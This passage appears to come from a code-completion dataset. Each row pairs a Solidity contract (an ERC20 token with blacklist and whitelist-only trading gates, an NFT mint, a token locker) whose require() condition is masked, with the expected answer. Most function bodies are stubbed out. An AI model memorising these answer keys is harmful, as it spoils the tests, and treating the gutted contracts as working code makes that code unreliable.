returns (bool)
{
}
}
| signer[_phase]!=address(0),'Signer address is not set' | 127,917 | signer[_phase]!=address(0) |
"Trading is disabled" | // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Token is ERC20, Ownable {
IDexRouter public constant ROUTER = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable pair ;
bool public limited;
uint256 public maxHoldingAmount;
bool public tradingEnabled;
uint256 public launchTime;
mapping (address => bool) public isWhitelisted;
mapping(address => bool) public isBlacklisted;
mapping (address => bool) public isTaxExempt;
uint256 public transferGas = 25000;
uint256 public tax = 200;
uint256 constant TAX_DENOMINATOR = 10000;
address public marketingWallet;
uint256 public swapThreshold = 1;
bool public swapWholeStorage = true;
bool public swapEnabled = true;
bool inSwap;
event EnableTrading();
event DepositMarketing(address account, uint256 amount);
event TriggerSwapBack(uint256 tokenAmount);
event newMarketingWalletSet(address newWallet);
event newTaxSet(uint256 newTax);
event walletLimitsUpdated(bool isLimited,uint256 maxHoldingAmount);
modifier swapping() {
}
constructor(address _marketingWallet) {
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
if(!tradingEnabled) {
require(<FILL_ME>)
super._transfer(sender, recipient, amount);
} else {
require(!isBlacklisted[sender] && !isBlacklisted[recipient], "Blacklisted");
if (inSwap) {
super._transfer(sender, recipient, amount);
return;
}
// Swap
if (_shouldSwapBack(recipient)) {
uint256 swapAmount = swapWholeStorage ? balanceOf(address(this)) : swapThreshold;
_swapBack(swapAmount);
}
// Transfer
if (limited && sender == pair) {
require(super.balanceOf(recipient) + amount <= maxHoldingAmount, "Max wallet exceeded.");
}
// Tax
uint256 amountReceived = isTaxExempt[sender] ? amount : _takeTax(sender, recipient, amount);
super._transfer(sender, recipient, amountReceived);
}
}
function _takeTax(address sender, address recipient, uint256 amount) private returns (uint256) {
}
function _getTotalTax(address sender, address recipient) private view returns (uint256) {
}
function setTax(uint256 newTax) external {
}
function enableTrading() external {
}
function blacklist(address _address, bool _isBlacklisted) external {
}
function blacklistMulti( address[] memory _addresses , bool _isBlacklisted) external {
}
function setIsWhitelisted(address account, bool exempt) external onlyOwner {
}
function setWalletLimits(bool _limited, uint256 _maxHoldingAmount) external {
}
function setMarketingWallet(address newWallet) external onlyOwner {
}
//swap
function updateSwapbackSettings(bool enableSwap, uint256 newSwapThreshold) external {
}
function _shouldSwapBack(address recipient) private view returns (bool) {
}
function _swapBack(uint256 swapAmount) private swapping {
}
function recoverETH() external {
}
function triggerSwapBack(bool swapAll, uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| isWhitelisted[sender]||isWhitelisted[recipient],"Trading is disabled" | 127,965 | isWhitelisted[sender]||isWhitelisted[recipient] |
"Blacklisted" | // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Token is ERC20, Ownable {
IDexRouter public constant ROUTER = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable pair ;
bool public limited;
uint256 public maxHoldingAmount;
bool public tradingEnabled;
uint256 public launchTime;
mapping (address => bool) public isWhitelisted;
mapping(address => bool) public isBlacklisted;
mapping (address => bool) public isTaxExempt;
uint256 public transferGas = 25000;
uint256 public tax = 200;
uint256 constant TAX_DENOMINATOR = 10000;
address public marketingWallet;
uint256 public swapThreshold = 1;
bool public swapWholeStorage = true;
bool public swapEnabled = true;
bool inSwap;
event EnableTrading();
event DepositMarketing(address account, uint256 amount);
event TriggerSwapBack(uint256 tokenAmount);
event newMarketingWalletSet(address newWallet);
event newTaxSet(uint256 newTax);
event walletLimitsUpdated(bool isLimited,uint256 maxHoldingAmount);
modifier swapping() {
}
constructor(address _marketingWallet) {
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
if(!tradingEnabled) {
require(isWhitelisted[sender] || isWhitelisted[recipient], "Trading is disabled");
super._transfer(sender, recipient, amount);
} else {
require(<FILL_ME>)
if (inSwap) {
super._transfer(sender, recipient, amount);
return;
}
// Swap
if (_shouldSwapBack(recipient)) {
uint256 swapAmount = swapWholeStorage ? balanceOf(address(this)) : swapThreshold;
_swapBack(swapAmount);
}
// Transfer
if (limited && sender == pair) {
require(super.balanceOf(recipient) + amount <= maxHoldingAmount, "Max wallet exceeded.");
}
// Tax
uint256 amountReceived = isTaxExempt[sender] ? amount : _takeTax(sender, recipient, amount);
super._transfer(sender, recipient, amountReceived);
}
}
function _takeTax(address sender, address recipient, uint256 amount) private returns (uint256) {
}
function _getTotalTax(address sender, address recipient) private view returns (uint256) {
}
function setTax(uint256 newTax) external {
}
function enableTrading() external {
}
function blacklist(address _address, bool _isBlacklisted) external {
}
function blacklistMulti( address[] memory _addresses , bool _isBlacklisted) external {
}
function setIsWhitelisted(address account, bool exempt) external onlyOwner {
}
function setWalletLimits(bool _limited, uint256 _maxHoldingAmount) external {
}
function setMarketingWallet(address newWallet) external onlyOwner {
}
//swap
function updateSwapbackSettings(bool enableSwap, uint256 newSwapThreshold) external {
}
function _shouldSwapBack(address recipient) private view returns (bool) {
}
function _swapBack(uint256 swapAmount) private swapping {
}
function recoverETH() external {
}
function triggerSwapBack(bool swapAll, uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| !isBlacklisted[sender]&&!isBlacklisted[recipient],"Blacklisted" | 127,965 | !isBlacklisted[sender]&&!isBlacklisted[recipient] |
"Max wallet exceeded." | // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Token is ERC20, Ownable {
IDexRouter public constant ROUTER = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable pair ;
bool public limited;
uint256 public maxHoldingAmount;
bool public tradingEnabled;
uint256 public launchTime;
mapping (address => bool) public isWhitelisted;
mapping(address => bool) public isBlacklisted;
mapping (address => bool) public isTaxExempt;
uint256 public transferGas = 25000;
uint256 public tax = 200;
uint256 constant TAX_DENOMINATOR = 10000;
address public marketingWallet;
uint256 public swapThreshold = 1;
bool public swapWholeStorage = true;
bool public swapEnabled = true;
bool inSwap;
event EnableTrading();
event DepositMarketing(address account, uint256 amount);
event TriggerSwapBack(uint256 tokenAmount);
event newMarketingWalletSet(address newWallet);
event newTaxSet(uint256 newTax);
event walletLimitsUpdated(bool isLimited,uint256 maxHoldingAmount);
modifier swapping() {
}
constructor(address _marketingWallet) {
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
if(!tradingEnabled) {
require(isWhitelisted[sender] || isWhitelisted[recipient], "Trading is disabled");
super._transfer(sender, recipient, amount);
} else {
require(!isBlacklisted[sender] && !isBlacklisted[recipient], "Blacklisted");
if (inSwap) {
super._transfer(sender, recipient, amount);
return;
}
// Swap
if (_shouldSwapBack(recipient)) {
uint256 swapAmount = swapWholeStorage ? balanceOf(address(this)) : swapThreshold;
_swapBack(swapAmount);
}
// Transfer
if (limited && sender == pair) {
require(<FILL_ME>)
}
// Tax
uint256 amountReceived = isTaxExempt[sender] ? amount : _takeTax(sender, recipient, amount);
super._transfer(sender, recipient, amountReceived);
}
}
function _takeTax(address sender, address recipient, uint256 amount) private returns (uint256) {
}
function _getTotalTax(address sender, address recipient) private view returns (uint256) {
}
function setTax(uint256 newTax) external {
}
function enableTrading() external {
}
function blacklist(address _address, bool _isBlacklisted) external {
}
function blacklistMulti( address[] memory _addresses , bool _isBlacklisted) external {
}
function setIsWhitelisted(address account, bool exempt) external onlyOwner {
}
function setWalletLimits(bool _limited, uint256 _maxHoldingAmount) external {
}
function setMarketingWallet(address newWallet) external onlyOwner {
}
//swap
function updateSwapbackSettings(bool enableSwap, uint256 newSwapThreshold) external {
}
function _shouldSwapBack(address recipient) private view returns (bool) {
}
function _swapBack(uint256 swapAmount) private swapping {
}
function recoverETH() external {
}
function triggerSwapBack(bool swapAll, uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| super.balanceOf(recipient)+amount<=maxHoldingAmount,"Max wallet exceeded." | 127,965 | super.balanceOf(recipient)+amount<=maxHoldingAmount |
'Address already claimed!' | // _ _ _ _ __ __ _ _ _ ____ _ _____ _ ____ _ ____ U _____ u ____
// |'| |'|U |"|u| |U|' \/ '|uU /"\ u | \ |"| | _"\ U /"\ u |_ " _| U /"\ u U | __")uU /"\ u / __"| u\| ___"|/ |___"\
///| |_| |\\| |\| |\| |\/| |/ \/ _ \/ <| \| |> /| | | | \/ _ \/ | | \/ _ \/ \| _ \/ \/ _ \/ <\___ \/ | _|" U __) |
//U| _ |u | |_| | | | | | / ___ \ U| |\ |u U| |_| |\ / ___ \ /| |\ / ___ \ | |_) | / ___ \ u___) | | |___ \/ __/ \
// |_| |_| <<\___/ |_| |_| /_/ \_\ |_| \_| |____/ u/_/ \_\ u |_|U /_/ \_\ |____/ /_/ \_\ |____/>> |_____| |_____|u
// // \\(__) )( <<,-,,-. \\ >> || \\,-. |||_ \\ >> _// \\_ \\ >> _|| \\_ \\ >> )( (__)<< >> << //
//(_") ("_) (__) (./ \.) (__) (__)(_") (_/ (__)_) (__) (__)(__) (__)(__) (__)(__) (__)(__) (__)(__) (__) (__) (__)(__)
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract HumanDatabase2 is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public publicClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint() public payable {
require(!paused, 'The contract is paused!');
require(<FILL_ME>)
require(totalSupply() + 2 <= maxSupply, 'Max supply exceeded!');
require(msg.value >= cost * 2, 'Insufficient funds!');
publicClaimed[_msgSender()] = true;
_safeMint(_msgSender(), 2);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !publicClaimed[_msgSender()],'Address already claimed!' | 127,991 | !publicClaimed[_msgSender()] |
'Max supply exceeded!' | // _ _ _ _ __ __ _ _ _ ____ _ _____ _ ____ _ ____ U _____ u ____
// |'| |'|U |"|u| |U|' \/ '|uU /"\ u | \ |"| | _"\ U /"\ u |_ " _| U /"\ u U | __")uU /"\ u / __"| u\| ___"|/ |___"\
///| |_| |\\| |\| |\| |\/| |/ \/ _ \/ <| \| |> /| | | | \/ _ \/ | | \/ _ \/ \| _ \/ \/ _ \/ <\___ \/ | _|" U __) |
//U| _ |u | |_| | | | | | / ___ \ U| |\ |u U| |_| |\ / ___ \ /| |\ / ___ \ | |_) | / ___ \ u___) | | |___ \/ __/ \
// |_| |_| <<\___/ |_| |_| /_/ \_\ |_| \_| |____/ u/_/ \_\ u |_|U /_/ \_\ |____/ /_/ \_\ |____/>> |_____| |_____|u
// // \\(__) )( <<,-,,-. \\ >> || \\,-. |||_ \\ >> _// \\_ \\ >> _|| \\_ \\ >> )( (__)<< >> << //
//(_") ("_) (__) (./ \.) (__) (__)(_") (_/ (__)_) (__) (__)(__) (__)(__) (__)(__) (__)(__) (__)(__) (__) (__) (__)(__)
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract HumanDatabase2 is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public publicClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint() public payable {
require(!paused, 'The contract is paused!');
require(!publicClaimed[_msgSender()], 'Address already claimed!');
require(<FILL_ME>)
require(msg.value >= cost * 2, 'Insufficient funds!');
publicClaimed[_msgSender()] = true;
_safeMint(_msgSender(), 2);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+2<=maxSupply,'Max supply exceeded!' | 127,991 | totalSupply()+2<=maxSupply |
"You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd" | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
require(<FILL_ME>)
require(safetyBIRD[msg.sender][ERC20Contract] == false, "You already have an active lock in this contract.");
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(ERC20Contract);
require(amount > 0 && time > 0, "Trivial.");
require(contractBIRD.balanceOf(msg.sender) >= amount, "Amount entered exceeds amount owned.");
safetyBIRD[msg.sender][ERC20Contract] = true;
contractBIRD.transferFrom(msg.sender, address(this), amount);
COINBIRD_LOCKS memory newLock = COINBIRD_LOCKS(ERC20Contract, contractBIRD.name(), contractBIRD.symbol(), contractBIRD.decimals(), amount, block.timestamp+time*86400);
_ProtectedFromBIRD[msg.sender].push(newLock);
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
}
}
| ownedBIRD(msg.sender)>=coinbirdBouncer(),"You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd" | 128,009 | ownedBIRD(msg.sender)>=coinbirdBouncer() |
"You already have an active lock in this contract." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
require(ownedBIRD(msg.sender) >= coinbirdBouncer(), "You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd");
require(<FILL_ME>)
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(ERC20Contract);
require(amount > 0 && time > 0, "Trivial.");
require(contractBIRD.balanceOf(msg.sender) >= amount, "Amount entered exceeds amount owned.");
safetyBIRD[msg.sender][ERC20Contract] = true;
contractBIRD.transferFrom(msg.sender, address(this), amount);
COINBIRD_LOCKS memory newLock = COINBIRD_LOCKS(ERC20Contract, contractBIRD.name(), contractBIRD.symbol(), contractBIRD.decimals(), amount, block.timestamp+time*86400);
_ProtectedFromBIRD[msg.sender].push(newLock);
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
}
}
| safetyBIRD[msg.sender][ERC20Contract]==false,"You already have an active lock in this contract." | 128,009 | safetyBIRD[msg.sender][ERC20Contract]==false |
"Amount entered exceeds amount owned." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
require(ownedBIRD(msg.sender) >= coinbirdBouncer(), "You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd");
require(safetyBIRD[msg.sender][ERC20Contract] == false, "You already have an active lock in this contract.");
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(ERC20Contract);
require(amount > 0 && time > 0, "Trivial.");
require(<FILL_ME>)
safetyBIRD[msg.sender][ERC20Contract] = true;
contractBIRD.transferFrom(msg.sender, address(this), amount);
COINBIRD_LOCKS memory newLock = COINBIRD_LOCKS(ERC20Contract, contractBIRD.name(), contractBIRD.symbol(), contractBIRD.decimals(), amount, block.timestamp+time*86400);
_ProtectedFromBIRD[msg.sender].push(newLock);
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
}
}
